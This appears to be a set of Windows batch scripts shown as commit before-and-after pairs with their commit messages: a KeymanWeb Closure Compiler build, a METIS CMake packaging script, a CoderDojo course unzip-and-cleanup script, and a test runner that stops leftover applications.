%compilecmd% --define __BUILD__=%BUILD% --externs %SOURCE%\kmwreleasestub.js --js %SOURCE%\kmwbase.js --js %SOURCE%\keymanweb.js --js %SOURCE%\kmwosk.js --js %SOURCE%\kmwnative.js --js %SOURCE%\kmwcallback.js --js %SOURCE%\kmwkeymaps.js --js %SOURCE%\kmwlayout.js --js %SOURCE%\kmwinit.js --compilation_level SIMPLE_OPTIMIZATIONS  --js_output_file %WEB_OUTPUT%\kmwtemp.js --warning_level VERBOSE
if not exist %WEB_OUTPUT%\kmwtemp.js goto fail

echo Append SMP string extensions to Keymanweb
copy /B %WEB_OUTPUT%\kmw-smpstring.js+%WEB_OUTPUT%\kmwtemp.js %WEB_OUTPUT%\keymanweb.js
del %WEB_OUTPUT%\kmwtemp.js

if "%1" == "-test" goto done

rem Update any changed resources

echo Copy or update resources
xcopy %SOURCE%\resources\*.* %WEB_OUTPUT%\resources /D /E /Y  >nul

rem Update build number if successful
echo.
echo KeymanWeb 2 build %BUILD% compiled and saved.
echo.
rem echo %BUILD% >version.txt

rem exit /B 0
rem Compile UI code modules (TODO: add date testing, only recompile if needed)

:ui

echo Compile ToolBar UI
del %WEB_OUTPUT%\kmuitoolbar.js 2>nul
%compilecmd% --js %SOURCE%\kmwuitoolbar.js --externs %SOURCE%\kmwreleasestub.js --compilation_level ADVANCED_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuitoolbar.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuitoolbar.js goto fail

echo Compile Toggle UI
del %WEB_OUTPUT%\kmuitoggle.js 2>nul
%compilecmd% --js %SOURCE%\kmwuitoggle.js --externs %SOURCE%\kmwreleasestub.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuitoggle.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuitoggle.js goto fail

echo Compile Float UI
del %WEB_OUTPUT%\kmuifloat.js 2>nul
%compilecmd% --js %SOURCE%\kmwuifloat.js --externs %SOURCE%\kmwreleasestub.js --compilation_level ADVANCED_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuifloat.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuifloat.js goto fail

echo Compile Button UI
del %WEB_OUTPUT%\kmuibutton.js 2>nul
%compilecmd% --js %SOURCE%\kmwuibutton.js --externs %SOURCE%\kmwreleasestub.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuibutton.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuibutton.js goto fail

echo User interface modules compiled and saved.
exit /B 0

:fail
echo.
echo Build failed
exit /B 2

:debug_embedded
copy /B /Y %SOURCE%\kmwstring.js+%SOURCE%\kmwbase.js+%SOURCE%\keymanweb.js+%SOURCE%\kmwcallback.js+%SOURCE%\kmwosk.js+kmwembedded.js+%SOURCE%\kmwkeymaps.js+%SOURCE%\kmwlayout.js+%SOURCE%\kmwinit.js %EMBED_OUTPUT%\keymanios.js
echo Uncompiled embedded application saved as keymanios.js

goto done

:help
echo.
echo Usage: build                   to compile keymanweb application code to output folder
echo        build -ui               to compile desktop user interface modules to output folder
echo        build -test             to compile for testing without copying resources or
echo                                updating the saved version number.
echo        build -debug_embedded   to compile a readable version of the embedded KMEA/KMEI code.
echo        build -web              to compile only the KeymanWeb engine.
echo        build -embed            to compile only the KMEA/KMEI embedded engine.
exit /B 1

:done
echo.
exit /B 0

if "%1" == "-ui"   goto ui
if "%1" == "-test" goto web
if "%1" == "-embed" goto embed
if "%1" == "-web"  goto web
if "%1" == "-debug_embedded" goto debug_embedded
if not "%1" == "" goto help

@echo off
rem
rem Compile keymanweb and copy compiled javascript and resources to output/embedded folder
rem

rem Definition of global compile constants
set WEB_OUTPUT="..\output"
set EMBED_OUTPUT="..\embedded"
set SOURCE="."

rem Get build version -- if not building in TeamCity, then always use 300

if "%BUILD_NUMBER%"=="" (
  set BUILD=300
) else (
  set BUILD=%BUILD_NUMBER%
)

if "%CLOSURECOMPILERPATH%"=="" set CLOSURECOMPILERPATH=..\tools
if "%JAVA%"=="" set JAVA=java

set compiler=%CLOSURECOMPILERPATH%\compiler.jar
set compilecmd="%JAVA%" -jar "%compiler%"

if not exist %compiler% (
  echo File %compiler% does not exist: have you set the environment variable CLOSURECOMPILERPATH?
  exit /B 1
)

if "%1" == "-ui"   goto ui
if "%1" == "-test" goto web
if "%1" == "-embed" goto embed
if "%1" == "-web"  goto web
if "%1" == "-debug_embedded" goto debug_embedded
if not "%1" == "" goto help

echo Compiling build %BUILD%
echo.

rem
rem Check KeymanWeb dependencies before build
rem

:embed

echo Compile KMEI/KMEA build %BUILD%

rem Extended mkdir functionality - can recursively create directories as long as command extensions are enabled.
rem They usually are, but... just in case.
@echo off
setlocal enableextensions
if not exist %EMBED_OUTPUT% mkdir %EMBED_OUTPUT%
if not exist %EMBED_OUTPUT%\resources mkdir %EMBED_OUTPUT%\resources
endlocal

rem Compile supplementary plane string handing extensions
echo Compile SMP string extensions
del %EMBED_OUTPUT%\kmw-smpstring.js 2>nul
%compilecmd% --js %SOURCE%\kmwstring.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %EMBED_OUTPUT%\kmw-smpstring.js --warning_level VERBOSE
if not exist %EMBED_OUTPUT%\kmw-smpstring.js goto fail

del kmwtemp.js 2>nul
%compilecmd% --define __BUILD__=%BUILD% --externs %SOURCE%\kmwreleasestub.js --js %SOURCE%\kmwbase.js --js %SOURCE%\keymanweb.js --js %SOURCE%\kmwosk.js --js %SOURCE%\kmwembedded.js --js %SOURCE%\kmwcallback.js --js %SOURCE%\kmwkeymaps.js --js %SOURCE%\kmwlayout.js --js %SOURCE%\kmwinit.js --compilation_level SIMPLE_OPTIMIZATIONS  --js_output_file kmwtemp.js --warning_level VERBOSE
if not exist kmwtemp.js goto fail

echo Append SMP extensions
copy /B %EMBED_OUTPUT%\kmw-smpstring.js+kmwtemp.js %EMBED_OUTPUT%\keyman.js >nul
del kmwtemp.js

echo Compiled embedded application saved as keyman.js

rem Update any changed resources

echo Copy or update resources
xcopy %SOURCE%\resources\*.* %EMBED_OUTPUT%\resources /D /E /Y  >nul

rem Update build number if successful
echo.
echo KMEA/KMEI build %BUILD% compiled and saved.
echo.

if "%1" == "-embed" goto done

:web

rem Extended mkdir functionality - can recursively create directories as long as command extensions are enabled.
rem They usually are, but... just in case.
@echo off
setlocal enableextensions
if not exist %WEB_OUTPUT% mkdir %WEB_OUTPUT%
if not exist %WEB_OUTPUT%\resources mkdir %WEB_OUTPUT%\resources
endlocal

rem Compile supplementary plane string handing extensions
echo Compile SMP string extensions
del %WEB_OUTPUT%\kmw-smpstring.js 2>nul
%compilecmd% --js %SOURCE%\kmwstring.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmw-smpstring.js --warning_level VERBOSE
if not exist %WEB_OUTPUT%\kmw-smpstring.js goto fail

rem Compile KeymanWeb code modules for native keymanweb use, stubbing out and removing references to debug functions
echo Compile Keymanweb

del %WEB_OUTPUT%\kmwtemp.js 2>nul
%compilecmd% --define __BUILD__=%BUILD% --externs %SOURCE%\kmwreleasestub.js --js %SOURCE%\kmwbase.js --js %SOURCE%\keymanweb.js --js %SOURCE%\kmwosk.js --js %SOURCE%\kmwnative.js --js %SOURCE%\kmwcallback.js --js %SOURCE%\kmwkeymaps.js --js %SOURCE%\kmwlayout.js --js %SOURCE%\kmwinit.js --compilation_level SIMPLE_OPTIMIZATIONS  --js_output_file %WEB_OUTPUT%\kmwtemp.js --warning_level VERBOSE
if not exist %WEB_OUTPUT%\kmwtemp.js goto fail

echo Append SMP string extensions to Keymanweb
copy /B %WEB_OUTPUT%\kmw-smpstring.js+%WEB_OUTPUT%\kmwtemp.js %WEB_OUTPUT%\keymanweb.js
del %WEB_OUTPUT%\kmwtemp.js

if "%1" == "-test" goto done

rem Update any changed resources

echo Copy or update resources
xcopy %SOURCE%\resources\*.* %WEB_OUTPUT%\resources /D /E /Y  >nul

rem Update build number if successful
echo.
echo KeymanWeb 2 build %BUILD% compiled and saved.
echo.
rem echo %BUILD% >version.txt

rem exit /B 0
rem Compile UI code modules (TODO: add date testing, only recompile if needed)

:ui

echo Compile ToolBar UI
del %WEB_OUTPUT%\kmuitoolbar.js 2>nul
%compilecmd% --js %SOURCE%\kmwuitoolbar.js --externs %SOURCE%\kmwreleasestub.js --compilation_level ADVANCED_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuitoolbar.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuitoolbar.js goto fail

echo Compile Toggle UI
del %WEB_OUTPUT%\kmuitoggle.js 2>nul
%compilecmd% --js %SOURCE%\kmwuitoggle.js --externs %SOURCE%\kmwreleasestub.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuitoggle.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuitoggle.js goto fail

echo Compile Float UI
del %WEB_OUTPUT%\kmuifloat.js 2>nul
%compilecmd% --js %SOURCE%\kmwuifloat.js --externs %SOURCE%\kmwreleasestub.js --compilation_level ADVANCED_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuifloat.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuifloat.js goto fail

echo Compile Button UI
del %WEB_OUTPUT%\kmuibutton.js 2>nul
%compilecmd% --js %SOURCE%\kmwuibutton.js --externs %SOURCE%\kmwreleasestub.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmwuibutton.js --warning_level VERBOSE --output_wrapper "(function() {%%output%%}());"
if not exist %WEB_OUTPUT%\kmwuibutton.js goto fail

echo User interface modules compiled and saved.
exit /B 0

:fail
echo.
echo Build failed
exit /B 2

:debug_embedded
copy /B /Y %SOURCE%\kmwstring.js+%SOURCE%\kmwbase.js+%SOURCE%\keymanweb.js+%SOURCE%\kmwcallback.js+%SOURCE%\kmwosk.js+kmwembedded.js+%SOURCE%\kmwkeymaps.js+%SOURCE%\kmwlayout.js+%SOURCE%\kmwinit.js %EMBED_OUTPUT%\keymanios.js
echo Uncompiled embedded application saved as keymanios.js

goto done

:help
echo.
echo Usage: build                   to compile keymanweb application code to output folder
echo        build -ui               to compile desktop user interface modules to output folder
echo        build -test             to compile for testing without copying resources or
echo                                updating the saved version number.
echo        build -debug_embedded   to compile a readable version of the embedded KMEA/KMEI code.
echo        build -web              to compile only the KeymanWeb engine.
echo        build -embed            to compile only the KMEA/KMEI embedded engine.
exit /B 1

:done
echo.
exit /B 0

if "%1" == "-ui"   goto ui
if "%1" == "-test" goto web
if "%1" == "-embed" goto embed
if "%1" == "-web"  goto web
if "%1" == "-debug_embedded" goto debug_embedded
if not "%1" == "" goto help

Rename embedded artifact to keyman.js

Rename embedded artifact to keyman.js

Android projects are expecting the web embedded artifact to be named keyman.js instead of keymanweb.js


MKDIR build\windows
CD build\windows

cmake ..\.. ^
        -G "%CMAKE_GENERATOR%" ^
        -DCMAKE_INSTALL_PREFIX="%LIBRARY_PREFIX%" ^
        -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
        -DBUILD_STATIC_LIBS=1 ^
        -DBUILD_SHARED_LIBS=1

ECHO VS files have been generated in build\windows

dir

cmake --build . --config Release --target ALL_BUILD
cmake --build . --config Release --target ZERO_CHECK

dir

dir programs

dir libmetis

dir include

move ..\..\libmetis\libmetis.a %LIBRARY_BIN%
move ..\..\programs\cmpfillin %LIBRARY_LIB%
move ..\..\programs\gpmetis %LIBRARY_LIB%
move ..\..\programs\graphchk %LIBRARY_LIB%
move ..\..\programs\m2gmetis %LIBRARY_LIB%
move ..\..\programs\ndmetis %LIBRARY_LIB%
move ..\..\programs\mpmetis %LIBRARY_LIB%
move ..\..\include\metis.h %LIBRARY_INC%
move ..\..\include\gklib_tls.h %LIBRARY_INC%

MKDIR build\windows
CD build\windows

cmake ..\.. ^
        -G "%CMAKE_GENERATOR%" ^
        -DCMAKE_INSTALL_PREFIX="%LIBRARY_PREFIX%" ^
        -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
        -DBUILD_STATIC_LIBS=1 ^
        -DBUILD_SHARED_LIBS=1

ECHO VS files have been generated in build\windows

dir

cmake --build . --config Release --target ALL_BUILD
cmake --build . --config Release --target ZERO_CHECK

dir

dir programs\Release

dir libmetis\Release

dir include\Release

dir ..\..

move libmetis\Release\libmetis.a %LIBRARY_BIN%
move programs\Release\cmpfillin %LIBRARY_LIB%
move programs\Release\gpmetis %LIBRARY_LIB%
move programs\Release\graphchk %LIBRARY_LIB%
move programs\Release\m2gmetis %LIBRARY_LIB%
move programs\Release\ndmetis %LIBRARY_LIB%
move programs\Release\mpmetis %LIBRARY_LIB%
move include\Release\metis.h %LIBRARY_INC%
move include\Release\gklib_tls.h %LIBRARY_INC%

use Release dir

use Release dir


setlocal

REM set location of zip
set ziproot=h:\
REM set ziproot=%USERPROFILE%\Downloads

REM remove previous installation
IF EXIST "%USERPROFILE%\Desktop\server" RD /S /Q "%USERPROFILE%\Desktop\server"
IF EXIST "%USERPROFILE%\Desktop\code" RD /S /Q "%USERPROFILE%\Desktop\code"
IF EXIST "%USERPROFILE%\Desktop\sh.exe" DEL "%USERPROFILE%\Desktop\sh.exe"
IF EXIST "%USERPROFILE%\Desktop\shell.bat" DEL "%USERPROFILE%\Desktop\shell.bat"

REM unpack zip to desktop
Call :UnZipFile "%USERPROFILE%\Desktop" "%ziproot%\coderdojo-java.zip"

:UnZipFile <ExtractTo> <newzipfile>
set vbs="%temp%\_.vbs"
if exist %vbs% del /f /q %vbs%
>%vbs%  echo Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% echo If NOT fso.FolderExists(%1) Then
>>%vbs% echo fso.CreateFolder(%1)
>>%vbs% echo End If
>>%vbs% echo set objShell = CreateObject("Shell.Application")
>>%vbs% echo set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% echo Call objShell.NameSpace(%1).CopyHere(FilesInZip, 20)
>>%vbs% echo Set fso = Nothing
>>%vbs% echo Set objShell = Nothing
cscript //nologo %vbs%
if exist %vbs% del /f /q %vbs%

add setlocal

add setlocal


bash scripts/test.sh
REM store return code
set return=%errorlevel%
call scripts\kill_applications.bat > kill.log
exit /B %return%

bash scripts/test.sh
REM store return code
set return=%errorlevel%
call scripts\kill_applications.bat > kill.log 2>&1
exit /B %return%

Hide all kill application output

Hide all kill application output


Create start.bat

Create start.bat